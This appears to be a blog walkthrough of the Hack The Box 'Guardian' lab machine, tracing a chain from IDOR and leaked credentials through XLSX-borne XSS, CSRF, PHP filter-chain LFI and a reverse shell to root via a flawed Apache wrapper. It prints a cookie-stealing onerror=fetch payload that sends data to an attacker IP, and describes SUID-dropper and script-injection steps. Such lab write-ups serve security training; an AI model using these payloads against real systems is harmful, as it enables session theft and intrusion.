Skip to content
Home » Hack The Box: Guardian Machine Walkthrough – Hard Difficulty

Hack The Box: Guardian Machine Walkthrough – Hard Difficulty

Reading Time: 17 minutes

Introduction to Guardian:

In this write-up, we will explore the “Guardian” machine from Hack The Box, categorised as an Hard difficulty challenge. This walkthrough will cover the reconnaissance, exploitation, and privilege escalation steps required to capture the flag.

Objective:

The goal of this walkthrough is to complete the “Guardian” machine from Hack The Box by achieving the following objectives:

User Flag:

Initial access was obtained through credential abuse and application logic flaws within the Guardian portal. After exploiting IDOR and default credentials, access to the internal Gitea instance exposed sensitive source code and hardcoded database credentials. A file upload vulnerability combined with formula injection enabled XSS, leading to lecturer session hijacking. Through CSRF exploitation, a new admin account was created, granting elevated application privileges. Further exploitation of an LFI vulnerability combined with a PHP filter chain resulted in Remote Code Execution, providing a shell as www-data..

Root Flag:

Privilege escalation began by enumerating sudo permissions as jamil, revealing NOPASSWD rights to execute /opt/scripts/utilities/utilities.py as user mark. Since one of the Python files in the utilities directory was writable, code injection was performed by inserting os.system("bash"), resulting in a shell as mark. Further enumeration showed that mark could execute a custom binary, safeapache2ctl, as root without a password. Analysis of the wrapper revealed improper validation of Apache configuration directives, allowing path traversal and arbitrary file inclusion. By crafting a malicious Apache module (evil.so) and abusing the flawed include validation, a root-level code execution path was achieved.

Enumerating the Machine

Reconnaissance:

Nmap Scan:

Begin with a network scan to identify open ports and running services on the target machine.

 nmap -sC -sV -oA initial 10.129.237.248

Nmap Output:

┌─[dark@parrot]─[~/Documents/htb/guardian]
└──╼ $nmap -sC -sV -oA initial 10.129.237.248 
# Nmap 7.94SVN scan initiated Fri Feb 27 22:43:37 2026 as: nmap -sC -sV -oA initial 10.129.237.248
Nmap scan report for 10.129.237.248
Host is up (0.018s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 9c:69:53:e1:38:3b:de:cd:42:0a:c8:6b:f8:95:b3:62 (ECDSA)
|_  256 3c:aa:b9:be:17:2d:5e:99:cc:ff:e1:91:90:38:b7:39 (ED25519)
80/tcp open  http    Apache httpd 2.4.52
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Did not follow redirect to http://guardian.htb/
Service Info: Host: _default_; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Feb 27 22:43:45 2026 -- 1 IP address (1 host up) scanned in 8.15 seconds

Analysis:

  • Port 22 (SSH): Standard Ubuntu 22.04 LTS SSH which no low-hanging exploits. Keep for later credential stuffing / key auth.
    Port 80 (HTTP): Redirects to http://guardian.htb/ and need add to /etc/hosts immediately

Web Application Exploration:

Initial landing after the hosts file edit. Confirms the theme, nothing actionable.

Classic vhost / DNS issue. Add portal.guardian.htb to /etc/hosts and keep enumerating.

Portal lives at portal.guardian.htb. Username pattern is GU + digits + year. Combine with testimonial IDs for cred stuffing.

Credential Abuse & IDOR

Default password exposed: every new account starts with GU1234. Immediate change advised… or exploited.

Recon treasure: leaked student IDs in email format (GU0142023@guardian.htb, GU6262023@guardian.htb, etc.) ready for portal username spraying.

Just marketing filler. Confirms cybersecurity & CS theme, but no technical value here.

Basic form + admissions@guardian.htb. Minor email recon value, possible form spam vector.

Logged in as GU0142023:GU1234. Many accounts still use the default password. Foothold gained by chasing IDOR, file reads, or chat abuse inside.

Leverage this foothold together with the newly leaked Gitea credentials.

The chat overview displays ongoing conversations with users GU6262023 and mireieielle.feek. Reconnaissance confirms this is the platform’s internal messaging interface, presenting a promising vector for XSS or stored payload delivery.

By manipulating chat index parameters (IDOR), I accessed a restricted conversation. The discussion revealed exam assistance between users and confirmed support for group messaging within the system.The chat reveals an ongoing exam help discussion and demonstrates that the messaging system supports group conversations.

URL-based array parameter chat_users[] enables user selection, opening the door to IDOR or mass assignment by injecting invalid/out-of-scope IDs.

Admin directly shares the Gitea password DHSNn k3V503 (likely DHSNnk3V503) in plain text, exposing a massive credential leak through chat history and providing an immediate path to gitea.guardian.htb.

Gitea Source Code Review

Gitea at http://gitea.guardian.htb/ uses email-style usernames that match the student email pattern from the portal, making it feasible to attempt default credentials, weak passwords, or password spraying using leaks obtained from the main portal.

Logged in as jamil grants visibility to two private repositories: Guardian/panel.guardian.htb and Guardian/guardian.htb, which contain the source code for the student portal and the main site, respectively.

The self-hosted Gitea instance runs version 1.23.7, making it essential to check for known CVEs or weak default configurations specific to this exact release.

The repository reveals the full PHP application source in a Laravel-like structure, including vendor and composer directories. This layout enables thorough auditing for insecure deserialization, weak authentication, path traversal vulnerabilities, and hardcoded secrets in the models.

Database credentials leaked in plain text: root: Gu4rd14n_un1s_th3_b3st! + salt ‘8Sb)M1vs1SS’

The repository shows only one initial commit, indicating that config.php has likely remained unchanged since its creation.

The application relies on phpoffice/phpspreadsheet 3.7.0 and phpoffice/phpword ^1.3, both of which contain known vulnerabilities. These libraries present viable attack surfaces for gadget chain exploitation and unsafe deserialization within the file parsing logic.

PhpSpreadsheet 3.7.0 Vulnerability Report

Researchers discovered a Cross‑Site Scripting (XSS) vulnerability in PhpSpreadsheet 3.7.0, tracked as CVE‑2025‑23210. PHP applications often use the PhpSpreadsheet library to read and generate Excel spreadsheets (XLSX, CSV, etc.). In its HTML rendering code, the logic that converts spreadsheet data — including cell values, sheet names, comments, hyperlinks, and other metadata — into HTML fails to properly sanitize user-controlled content, allowing attackers to inject malicious scripts.

In vulnerable versions, attackers could craft specific patterns that bypass the library’s sanitisation routines, embedding malicious JavaScript directly into the HTML output. This weakness occurs because the library fails to neutralise untrusted data before inserting it into web pages, which corresponds to CWE‑79 (Improper Neutralisation of Input During Web Page Generation — XSS).

Cross-Site Scripting in PhpSpreadsheet HTML Rendering – CVE‑2025‑23210

Background

CVE-2025-23210 is a Cross-Site Scripting (XSS) vulnerability in the phpoffice/phpspreadsheet PHP library, which is widely used to read, write, and manipulate spreadsheet files (e.g., XLSX) within web applications. The flaw arises because PhpSpreadsheet’s sanitization logic can be bypassed when processing certain inputs — specifically when malicious content uses the javascript: protocol or unusual characters that the built-in XSS filter does not catch. This means that untrusted data may be incorrectly included in HTML output without proper encoding or filtering, creating an attack surface for script injection.

Impact

Although rated medium severity with a CVSS ~4.8 (CVSS 4.0: network exploit, low complexity, low privileges required) , this vulnerability can still pose meaningful risks in affected applications:

  • Client-Side Script Execution: An attacker could trick a user into opening a specially crafted spreadsheet or interacting with a vulnerable feature that renders spreadsheet content as HTML. The injected JavaScript could then run in the victim’s browser.
  • Session/Token Theft: Malicious script execution may allow attackers to steal session cookies, tokens, or other sensitive client-side data.
  • UI Manipulation & Phishing: Script injection can alter page content shown to a user or display fake dialogues to harvest credentials.
  • Privilege Abuse: If vulnerability exists in an authenticated part of an app, even low-privileged users might leverage it for broader access.

User-Controlled HTML Injection in PhpSpreadsheet (CVE‑2025‑22131)

Background

CVE-2025-22131 is a Cross-Site Scripting (XSS) vulnerability affecting PhpSpreadsheet, a widely used open-source PHP library for reading, writing, and generating spreadsheet files (like XLSX) in web applications. The flaw exists in the function that converts XLSX contents — especially sheet navigation elements — into an HTML representation for output. Because the library did not properly sanitize sheet names when building the HTML navigation, it allowed malicious content to be injected directly into the response sent to a user’s browser. This improper neutralisation of input during web page generation falls under the CWE-79 category, which is typical of reflected or stored XSS issues.

Impact

When exploited, this vulnerability enables an attacker to inject and execute arbitrary scripts in the context of a victim’s browser session. Even though it doesn’t directly allow remote code execution on the server, it can still lead to significant security issues:

  • Session Hijacking: Malicious JavaScript can steal session cookies or tokens, enabling attackers to impersonate legitimate users.
  • Credential Theft or Phishing: An attacker can manipulate the rendered page to display fake login forms or redirect users to malicious sites.
  • Data Manipulation: Unauthorised scripts can alter visible content, potentially misleading users or corrupting data displayed in spreadsheet views.
  • Broader Exploitation: XSS can be a stepping stone for additional attacks, such as CSRF abuse or privilege escalation, if combined with other flaws.

File Upload Exploitation (XLSX Injection)

The file upload surface accepts .xlsx files, creating a classic target for XXE, macro abuse, or formula-based SSRF / XXE exploitation through Office Open XML processing.

Crafting Malicious Payloads with Excel

Proof-of-concept .xlsx with an injected formula containing <img src=1 onerror=fetch(“http…”)> successfully demonstrates formula injection capability, with the real attack most likely targeting fetch() or external image loading to achieve SSRF or data exfiltration.

Repeated unzip confirms you’re working with a clean/valid .xlsx template and ready to re-pack after injecting malicious XML.

Proof that the payload survived re-zipping is confirmed by the presence of the <img src=1 onerror=fetch(…)> line in the extracted XML, indicating that server-side parsing most likely triggered the fetch request.

Quick web server started on port 80 (requires sudo because <1024), classic receiver for SSRF / exfil / callback payloads during exploitation.

workbook.xml with injected onerror=fetch(…) payload visible XXE / formula / external reference injection confirmed in workbook.xml → src=1 onerror=fetch(“http://10.10.14.37/?…”) + btoa(document.cookie) attempt, which aimed at stealing cookies or triggering SSRF to localhost/internal services.

Manual re-zip of modified OOXML structure → ensures the tampered workbook.xml is included

File Upload Exploitation – XLSX Injection

The final upload attempt before success shows the malicious file was selected and submitted, leaving only a wait for a callback or a file read response.

File upload accepted without error

SSRF / external fetch triggered successfully

The fetch request successfully exfiltrates and stores the victim’s cookie in the attacker’s HTTP server logs.

Regrettably, it failed to work as expected.

Cookie theft is achieved by embedding btoa(document.cookie) inside an onerror handler, allowing the attacker-controlled notice (or lecturer view) to render and execute the injected JavaScript, which ultimately enables possible session hijacking.

Lecturer session successfully hijacked, granting control of an account with 2 active courses, 12 students, and 3 pending grades.

Notices are visible to both lecturers and students, meaning your injected notice will appear on the board once approved.

The lecturer portal supports notice creation with fields for title, content, and reference link, which are very likely rendered unsafely when viewed by admins or other users.

CSRF Exploitation – Admin Account Creation

Test notice submitted with callback link → if admin views it and link is rendered/clicked → potential CSRF / exfil → but more importantly, test if content allows HTML/JS.

Notices are visible to lecturers/students → your injected notice will appear here once approved → if XSS in title/content works → execute JS in context of viewing users (including admin).

Repeated callback → payload triggered multiple times (perhaps on re-render or multiple views) → 404s normal (no real file served) → listener working fine.

Vulnerability Assessment of User Management Functionality

Weak Password Hashing — Critical

The application hashes user passwords using SHA-256 combined with a static global salt stored in the configuration file. Since SHA-256 is a fast hashing algorithm, it is highly susceptible to brute-force and dictionary attacks in the event of a database compromise. Additionally, the use of a single global salt significantly weakens password entropy, as compromising the salt exposes all stored password hashes to efficient cracking attempts. An attacker obtaining the user database could rapidly recover weak or common passwords using GPU-based cracking tools, leading to full account compromise across the system.

No Server-Side Role Whitelisting — High

The application trusts the user_role parameter submitted via POST without enforcing server-side validation. Although the form restricts options through a dropdown, this control exists only client-side and can be bypassed by intercepting and modifying the request. An attacker with access to the endpoint could alter the role parameter to admin, resulting in privilege escalation and unauthorized creation of administrative accounts. This directly impacts the integrity of the access control model and could allow full system takeover.

No Username / Email Uniqueness Enforcement — High

The application does not verify whether a username or email address already exists prior to account creation. If the database lacks UNIQUE constraints, duplicate identities may be created. This can result in authentication ambiguity, account confusion, or potential impersonation scenarios. In certain implementations, this weakness may allow attackers to register duplicate credentials and interfere with session handling or password reset flows, impacting account integrity and reliability.

No Input Length Validation — Medium

The application validates only for empty fields but does not enforce maximum length restrictions on user-controlled input. An attacker could submit excessively large payloads, potentially leading to database storage abuse, memory exhaustion, or application performance degradation. While not directly leading to code execution, this weakness increases the attack surface for denial-of-service conditions and resource exhaustion attacks.

Classic CSRF exploit template → hidden fields for new admin user (dark:admin123) + bogus csrf_token → if admin views this page (via notice link) → account creation triggered.

Second test notice with .html extension callback → if admin clicks/previews the link → potential CSRF / browser-based exfil → but main value is testing XSS in notice content.

Username enumeration / weak password attempt → “dark” accepted as valid format → likely testing if student ID “dark” exists or just typo → irrelevant now with lecturer session.

CSRF succeeded → new admin account “dark” created and logged in → full admin access → dashboard shows total users 63, active courses 21, enrollments 126, active notices 18 → root-level control achieved.

Admin privs confirmed → reports include enrollment, academic, financial, system → likely more LFI / info leak surfaces here → but unnecessary now → hunt for flag in filesystem or DB.

LFI attempt on admin reports → path traversal blocked or filtered → report= expects internal file like reports/enrollment.php → try ../ etc variations or null-byte if old PHP.

Local File Inclusion & Filter Chain Exploitation

Tool cloned to generate complex PHP wrapper chains → used to bypass file read restrictions in reports.php.

Chain attempts multiple iconv + base64 layers to decode/execute payload → very long URL → likely truncated or blocked by browser/server.

Reverse shell listener ready on port 9007 → waiting for incoming connection from the target (www-data or higher).

Invalid chain syntax or partial execution → server still renders the menu → chain needs refinement.

RCE achieved → PHP filter chain / LFI → system() executed → reverse shell landed → foothold as web user.

Confirms consistent creds → no new info → focus on using DB access or escalating shell.

Database Enumeration

DB root access confirmed again → password is correct and unchanged → ready for full dump.

Now inside the target schema → next commands will hit real tables.

database change use guardiandb

Classic university portal schema → users, submissions, grades, notices are most promising for flags/creds/escalation.

Many admin accounts (admin, jamil.enockson, mark.pargetter, etc.) → hashes are likely bcrypt → crackable offline if needed, but current access is better.

Mark has unusual home dir permissions → probably intentional → script runs as mark → may allow reading mark’s files.

User Pivot – Jamil

Use Jamil’s credentials to change access

User flag captured → lateral movement from www-data → su jamil worked → foothold as regular user complete.

Escalate privileges to gain root access.

Privilege Escalation:

SSH into the system as the user jamil.

sudo -l as jamil reveals NOPASSWD rights to run /opt/scripts/utilities/utilities.py as mark This is the clear next privesc step → mark is almost certainly the bridge to root.

Small typo in path (scriptspts vs scripts) but important: one python file in the utilities dir is writable by jamil → potential code injection vector.

Try running the Python script with mark-level access.

status.py content is harmless system info printer (platform + psutil). No obvious vuln there → focus on the other actions (backup-db, zip-attachments, collect-logs).

The source code of utilities.py (from /opt/scripts/utilities/utilities.py)

Privilege Escalation – jamil to mark

Add the line import os; os.system(“bash”) as shown in the screenshot.

Python script arg dispatcher abused → full mark shell (no args needed?) → privesc jamil → mark complete.

Game-changing: mark can run safeapache2ctl without a password → almost certainly the root path.

Custom wrapper around apachectl → config file path is controllable.

The malicious file is transferred to the attacker’s machine for further analysis or modification.

A malicious file is transferred to the victim’s machine for further analysis or modification.

Transfer of the target file from the victim’s machine is now complete on the attacker’s side.

The vulnerability in safeapache2ctl stems from flawed parsing in is_unsafe_line(), where sscanf(“%31s %1023s”) splits directives on spaces and only checks the second token for an absolute path starting with /home/mark/confs/. This allows bypasses via relative paths (e.g., Include ../../../../etc/passwd), quoted paths with spaces, or any Include directive lacking a leading slash, since no validation occurs in those cases — enabling an attacker to include arbitrary root-owned files when the wrapper runs as root.

The screenshot above is the exact dark.c source code as shown in your screenshot — a simple constructor-based SUID bash dropper:

Compile it (gcc should be available on most Ubuntu boxes)

No SUID permissions are present on the binary at this time.

We load the malicious module named evil_module.

Execute the command provided earlier.

Unfortunately, the attempt was unsuccessful.

Therefore, we change the file compiled into a different filename

It works if I change the filename to evil.so.

We can change to root shell from mark

The attempt to set the SUID bit on the binary has not succeeded yet.

We execute the same command as previously.

Root shell connection successful

We can read the root flag